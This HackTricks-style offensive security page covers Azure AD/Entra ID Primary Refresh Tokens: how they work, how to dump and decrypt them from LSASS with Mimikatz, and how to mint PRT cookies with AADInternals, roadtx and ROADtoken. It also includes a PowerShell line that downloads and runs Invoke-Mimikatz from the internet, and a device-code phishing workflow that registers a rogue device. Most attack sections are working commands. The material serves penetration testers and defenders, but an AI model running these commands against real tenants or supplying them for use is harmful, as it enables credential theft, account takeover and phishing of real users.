# Az - Primary Refresh Token (PRT)

{{#include ../../../banners/hacktricks-training.md}}

## What is a Primary Refresh Token (PRT)?

A **Primary Refresh Token (PRT)** is a long-lived refresh token used in Azure AD (Entra ID) authentication, analogous to a Kerberos TGT. It is issued upon user login on an Azure AD-joined device and can be used to request access tokens for various applications without re-prompting credentials. Each PRT is accompanied by a **session key** (also called a Proof-of-Possession key) -- a symmetric key used to sign requests and prove the client has the PRT. The PRT itself is an opaque, encrypted blob (not readable by the client), while the session key is used to **sign** a JWT containing the PRT when requesting tokens. In other words, possession of the PRT alone is insufficient; an attacker needs the session key to prove legitimacy, similar to needing both a Kerberos TGT and its session key for authentication.

On Windows, the PRT and session key are cached in the LSASS process via the CloudAP plugin. If a device has a **TPM** (Trusted Platform Module), Azure AD binds keys to the TPM for extra security. This means on TPM-equipped devices, the session key is stored or used within the TPM such that it cannot be directly read from memory under normal circumstances. If no TPM is available (e.g. many VMs or older systems), the keys are kept in software and protected with DPAPI encryption. In both cases, an attacker with administrative privileges or code execution on the machine can attempt to **dump the PRT and session key from memory** as part of post-exploitation, and then use them to impersonate the user in the cloud.
Unlike typical refresh tokens (which are usually application-specific), a PRT is broader, allowing your device to request tokens for almost any Entra ID-integrated resource or service.

## How Does a PRT Work?

Here's a simplified breakdown of how a PRT operates:

1.  **Device Registration:**

    -   When your device (like a Windows laptop or mobile phone) joins or registers with Entra ID, it authenticates using your credentials (username/password/MFA).

    -   Upon successful authentication, Entra ID issues a PRT bound specifically to your device.

2.  **Token Storage:**

    -   The PRT is securely stored on your device, often protected by hardware features like the Trusted Platform Module (TPM), ensuring that it's difficult for unauthorized parties to extract or misuse.

3.  **Single Sign-On (SSO):**

    -   Each time you access an Entra ID-protected application (e.g., Microsoft 365 apps, SharePoint, Teams), your device silently uses the stored PRT to request and obtain a specific access token for that app.

    -   You don't need to enter your credentials repeatedly because the PRT transparently handles authentication.

4.  **Renewal and Security:**

    -   PRTs have a long lifetime (typically around 14 days), but are continually renewed as long as your device is actively in use.

    -   If your device becomes compromised or lost, administrators can revoke your PRT remotely, immediately blocking unauthorized access.

### Why are PRTs Powerful?

-   **Universal Access:** Unlike typical tokens limited to one app or resource, a PRT can facilitate access to all Entra ID-integrated services.

-   **Enhanced Security:** With built-in hardware protections (like TPM), PRTs ensure secure token storage and usage.

-   **User Experience:** PRTs significantly improve the user experience by reducing frequent authentication prompts and enabling true seamless SSO.

## How to know if a PRT is present?

- Check if PRT is present:
```bash
# Execute
dsregcmd /status
## Check if the value of AzureAdPrt is set to YES
```

- Check if protected by TPM:

```bash
Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
# TpmPresent/Ready = True indicates the device can bind secrets to TPM. 

dsregcmd /status
# In Device State / WHfB prerequisites you’ll typically see:
# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key;
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).
```

## Pass the PRT

According to [this post](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) on Windows devices **without TPM binding**, the PRT and its session key live in LSASS (CloudAP plug‑in). With local admin/SYSTEM on that device, the PRT blob and the DPAPI‑encrypted session key can be **read from LSASS, the session key decrypted via DPAPI, and the signing key derived** to mint a valid PRT cookie (`x‑ms‑RefreshTokenCredential`). You need both the PRT and its session key—the PRT string alone isn’t enough.

### Mimikatz

1. The **PRT (Primary Refresh Token) is extracted from LSASS** (Local Security Authority Subsystem Service) and stored for subsequent use.
2. The **Session Key is extracted next**. Given that this key is initially issued and then re-encrypted by the local device, it necessitates decryption using a DPAPI masterkey. Detailed information about DPAPI (Data Protection API) can be found in these resources: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) and for an understanding of its application, refer to [Pass-the-cookie attack](az-pass-the-cookie.md).
3. Post decryption of the Session Key, the **derived key and context for the PRT are obtained**. These are crucial for the **creation of the PRT cookie**. Specifically, the derived key is employed for signing the JWT (JSON Web Token) that constitutes the cookie. A comprehensive explanation of this process has been provided by Dirk-jan, accessible [here](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).

```bash
privilege::debug
sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
```

The **PRT field** contains the encrypted refresh token (typically base64 string), and KeyValue in the ProofOfPossessionKey is the DPAPI-encrypted session key (also base64).

Then, from the **`sekurlsa::cloudap`** output, copy the base64 blob from **`KeyValue`** inside the field `ProofOfPossessionKey` (this is the session key encrypted with DPAPI). This encrypted key cannot be used as-is – it must be decrypted using the system’s DPAPI credentials.

Because DPAPI encryption for system secrets requires the machine’s system context, elevate your token to SYSTEM and use Mimikatz’s DPAPI module to decrypt:

```bash
token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect

# PowerShell version
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'
```

The `token::elevate` will impersonate SYSTEM and the `dpapi::cloudapkd` command with `/unprotect` will use the DPAPI master key to decrypt the provided KeyValue blob. This yields the clear-text session key and also the associated Derived Key and Context used for signing:
- **Clear key** – the 32-byte session key in plaintext (represented as a hex string).
- **Derived Key** – a 32-byte key derived from the session key and a context value (more on this below).
- **Context** – a 24-byte random context that was used when deriving the signing key for the PRT cookie.


> [!NOTE]
> If this doesn't work for you to impersonate the user, check the following section using **`AADInternals`**.

Then, you can also use mimikatz to generate a valid PRT cookie:

```bash
# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
```

Mimikatz will output a signed JWT (the `PRT cookie`) after the line “Signature with key”, which contains the PRT and is signed using the derived key. This JWT can be copied and then used in a web session. For example, an attacker can open a browser, go to `login.microsoftonline.com`, and set a cookie named `x-ms-RefreshTokenCredential` with the value being this JWT. When the browser refreshes or navigates, Azure AD will treat the session as authenticated (the PRT cookie is presented as if SSO occurred), and it will issue an authorization code or access token for the specified resource. In practice, one would navigate to a resource like Office 365 or Azure portal; the presence of a valid PRT cookie means Azure AD will grant access without additional login (bypassing MFA, since the PRT is already authenticated).

You could also use **`roadtx`** and **`roadrecon`** with the PRT of the PRT cookie to impersonate the user *(TODO: Find the exact command lines to use roadtx/roadrecon to get credentials from a PRT)*.

### Mimikatz + AADInternals

The **`AADInternals`** PowerShell module can also be used with the previously obtained PRT and session key to generate a valid PRT token. This is useful for automating the process of obtaining a new PRT token with nonce, which can be used to fetch access tokens for Azure AD Graph API or other resources:
```bash
# Code from https://aadinternals.com/post/prt/
# Add the PRT to a variable
$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"

# Add padding
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}

# Convert from Base 64
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Add the session key (Clear key) to a variable
$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"

# Convert to byte array and base 64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate a new PRTToken with nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey

# Get an access token for MS Graph API
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
```

This obtains a fresh PRT cookie (with a nonce) and then uses it to fetch an access token for the Azure AD Graph API(demonstrating cloud access on behalf of the user). AADInternals abstracts much of the cryptography and uses Windows components or its own logic under the hood.

### Mimikatz + roadtx

- Renew the PRT first, which will save it in `roadtx.prt`:

```bash
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
```

- Now we can **request tokens** using the interactive browser with `roadtx browserprtauth`. If we use the `roadtx describe` command, we see the access token includes an MFA claim because the PRT I used in this case also had an MFA claim.

```bash
roadtx browserprtauth
roadtx describe < .roadtools_auth
```

<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>

#### Mimikatz + roadrecon

Having the context and the derived key dumped by mimikatz, it's possible to use roadrecon to generate a new signed cookie with:

```bash
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
```


## Abusing protected PRTs

Despite the mentioned protections, an attacker who has already compromised a device (as a local user or even SYSTEM) can still **abuse the PRT to obtain fresh access tokens** by leveraging Windows' own token broker APIs and security components. Instead of **extracting** the raw PRT or key, the attacker essentially **"asks" Windows to use the PRT on their behalf**. In the sections below, we outline currently valid techniques for abusing PRTs and their session keys on up-to-date Windows devices where TPM protections are in effect. All these techniques assume post-exploitation access on the target machine, and **focus on abusing built-in authentication flows** (no unpatched vulnerabilities needed).

### Windows Token Broker Architecture and SSO Flow

Modern Windows handles cloud authentication via a built-in **token broker** stack, which includes components in both user mode and LSASS (Local Security Authority). Key pieces of this architecture include:

-   **LSASS CloudAP Plugin:** When a device is Azure AD joined, LSASS loads cloud authentication packages (e.g. `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) that manage PRTs and token requests. LSASS (running as SYSTEM) orchestrates PRT storage, renewal, and usage, and interfaces with the TPM to perform cryptographic operations (like signing a PRT challenge with the session key).

-   **Web Account Manager (WAM):** The Windows Web Account Manager is a user-mode framework (accessible via COM/WinRT APIs) that allows applications or browsers to request tokens for cloud accounts without prompting for credentials. WAM acts as a broker between user applications and the secure LSASS/TPM-backed PRT. For example, Microsoft's MSAL library and certain OS components use WAM to silently acquire tokens using the logged-in user's PRT.

-   **BrowserCore.exe and Token Broker COM interfaces:** For browser SSO, Windows includes a component called **BrowserCore.exe** (located under *Windows Security\BrowserCore*). This is a native messaging host used by browsers (Edge, Chrome via an extension, etc.) to obtain a PRT-derived SSO token for Azure AD login. Under the hood, BrowserCore leverages a COM object provided by `MicrosoftAccountTokenProvider.dll` to retrieve a PRT-based cookie/token. In essence, this COM interface is a first-party "token broker" API that any process running as the user can obscall to get an SSO token (provided the user has a valid PRT in LSASS).

When an Azure AD joined user tries to access a resource (say, the Azure Portal), the flow is typically: an application calls into WAM or BrowserCore's COM interface, which in turn communicates with LSASS. LSASS uses the PRT and session key (secured by TPM) to produce an **SSO token** -- often called a **PRT cookie** -- which is then given back to the application or browser. The PRT cookie is a special JWT containing the encrypted PRT and a nonce, signed with a key derived from the PRT's session key. This cookie is sent to Azure AD (in an `x-ms-RefreshTokenCredential` header) to prove the device and user hold a valid PRT, allowing Azure AD to issue standard OAuth refresh and access tokens for various applications. Notably, any Multi-Factor Authentication (MFA) claim present in the PRT will be carried into tokens obtained via this SSO process, meaning PRT-derived tokens can satisfy MFA-protected resources.

### User-Level Token Theft (Non-Admin)

When an attacker has **user-level code execution**, the TPM protection of PRT doesn't stop the attacker from obtaining tokens. The attacker **leverages built-in Windows Token Broker APIs**:

#### **BrowserCore (MicrosoftAccountTokenProvider COM)**

BrowserCore exposes a COM class (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) to fetch PRT cookies. This COM API is invoked legitimately by browsers (Chrome/Edge extensions) for Azure AD SSO.

-   **[RequestAADRefreshToken](https://github.com/leechristensen/RequestAADRefreshToken)**

```bash
RequestAADRefreshToken.exe --uri https://login.microsoftonline.com
```

*(Returns an Azure AD refresh token or PRT cookie)*

- **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)**

ROADtoken will run **`BrowserCore.exe`** from the right directory and use it to **obtain a PRT cookie**. This cookie can then be used with ROADtools to authenticate and **obtain a persistent refresh token**.

To generate a valid PRT cookie the first thing you need is a nonce.\
You can get this with:

```bash
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
    "URI"     = $URL
    "Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
```

Or using [**roadrecon**](https://github.com/dirkjanm/ROADtools):

```bash
roadrecon auth prt-init
```

Then you can use [**roadtoken**](https://github.com/dirkjanm/ROADtoken) to get a new PRT (run in the tool from a process of the user to attack):

```bash
.\ROADtoken.exe <nonce>
```

As oneliner:

```bash
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
```

Then you can use the **generated cookie** to **generate tokens** to **login** using Azure AD **Graph** or Microsoft Graph:

```bash
# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
```


### **Web Account Manager (WAM) APIs**

Attackers use legitimate Microsoft authentication libraries (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) from user-level processes to silently retrieve tokens leveraging TPM-protected PRT.


-   **[aadprt](https://posts.specterops.io/)**

```bash
execute-assembly aadprt.exe
```

*(Retrieves PRT cookie via COM interfaces)*

-   **[listwamaccounts](https://posts.specterops.io/)**

```bash
execute-assembly listwamaccounts.exe
```

*(Lists Azure AD accounts logged in via WAM; identifies token targets)*

-   **Generic Example (PowerShell with MSAL)**:

```powershell
$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
$result.AccessToken
```

*(Silently gets an access token leveraging PRT)*

#### Administrator / SYSTEM-Level Token Abuse

If the attacker escalates to **Administrator or SYSTEM**, they can directly impersonate any Azure AD logged-on user and use the same **COM/WAM token broker APIs**. TPM-protected PRTs do not prevent this legitimate token issuance.

### **User Impersonation and Token Retrieval**

Admin/SYSTEM could impersonate running sessions of other users to invoke BrowserCore or WAM for token generation.

For this just impersonate the user process (e.g., `explorer.exe`) and invoke the token broker APIs using any technique commented in the previous section.


### **Direct LSASS & Token Broker Interaction (Advanced)**

An administrator can still work with LSASS to abuse the PRT: for instance, an admin could inject code into LSASS or call internal CloudAP functions to prompt LSASS to produce a token. Dirk-jan’s research noted that an admin can “interact with PRT keys in LSASS using crypto APIs”. In practice, this could mean using LSASS’s own functions (via a technique like API hooking or RPC, if available) to generate a PRT cookie. Another approach is to exploit any window where the session key might appear in memory – for example, at the moment of PRT renewal or device registration when it is unencrypted for use. Such attacks are considerably more complex and situational. A more straightforward admin tactic is abusing existing token handles or caches: LSASS caches recently issued refresh tokens for apps in memory (encrypted with DPAPI). A determined SYSTEM attacker could attempt to extract these DPAPI-protected tokens (using the user’s master key, which an admin can obtain) to directly steal refresh tokens for specific applications. However, the easiest and most generic method remains impersonation and use of the documented token broker interfaces, since these guarantee that Azure AD will issue fresh tokens (with all proper claims) rather than trying to crack encryption.

## Phishing PRTs

Abuse the **OAuth Device Code** flow using the **Microsoft Authentication Broker client ID** (**`29d9ed98-a469-4536-ade2-f981bc1d605e`**) and the **Device Registration Service (DRS)** resource to obtain a **refresh token that can be upgraded to a Primary Refresh Token (PRT)** after registering a **rogue device**.

### **Why this works**

-   **PRT** is **device‑bound** and enables **SSO for (almost) any Entra‑protected app**.
-   The **Broker client + DRS** combination allows a phished **refresh token** to be **exchanged for a PRT** once a device is registered.
-   **MFA isn't bypassed**: the **user performs MFA** during the phish; **MFA claims propagate** into the resulting PRT, letting the attacker access apps **without further prompts**.


**Prerequisites**:

-   **User authentication via Device Code** using the **Broker client ID** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) and **DRS scopes/resource** (e.g., **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** or **`https://enrollment.manage.microsoft.com/`**).
-   **User can register devices** in Entra ID (**default: allowed**, but can be restricted or quota‑limited).
-   **No blocking CA policies** that **disable Device Code** or **require compliant/hybrid devices** for target apps (those won't stop PRT issuance, but **will** block **using** it to access protected apps).
-   **Attacker‑controlled host** to run the flow and hold the tokens/device keys.


**Attack Flow**:

1.  **Initiate Device Code auth** with **client_id = Broker** and **DRS scope/resource**; show the **user code** to the victim.

```bash
curl -s -X POST \
  "https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
  -d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
  -d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"
```


2.  **Victim signs in on Microsoft's site** (legit UI) and completes **MFA** → **attacker receives a DRS‑scoped refresh token** for the Broker client.

3.  **Register a rogue device** in the tenant using that refresh token (device object is created and linked to the victim).

4.  **Upgrade to a PRT** by exchanging the **refresh token + device identity/keys** → **PRT** bound to the attacker's device.

5.  **(Optional persistence)**: if MFA was fresh, **register a Windows Hello for Business key** to maintain **long‑term, passwordless access**.

6.  **Abuse**: redeem the **PRT** (or mint a **PRT cookie**) to obtain **access tokens** for **Exchange/Graph/SharePoint/Teams/custom apps** as the user.


### Public Tools and Proof-of-Concepts

- [ROADtools/ROADtx](https://github.com/dirkjanm/ROADtools): Automates OAuth flow, device registration, and token upgrades.
- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): Single-command script automating device code phish-to-PRT+WHfB keys.


## References

- [Dirkjan's blog post on PRT](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
- [Dirkjan's post on phishing PRTs](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
- [Dirkjan's post on abusing PRTs](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
- SpecterOps post on [Requesting Azure AD Request Tokens](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
- [AADInternals post on PRTs](https://aadinternals.com/post/prt/)
- [blog.3or.de](https://blog.3or.de/understanding-primary-refresh-tokens-and-cve-2021-33779-how-pass-the-prt-was-eliminated#:~:text=,the%20Token%20Broker%20on%20Windows)

{{#include ../../../banners/hacktricks-training.md}}

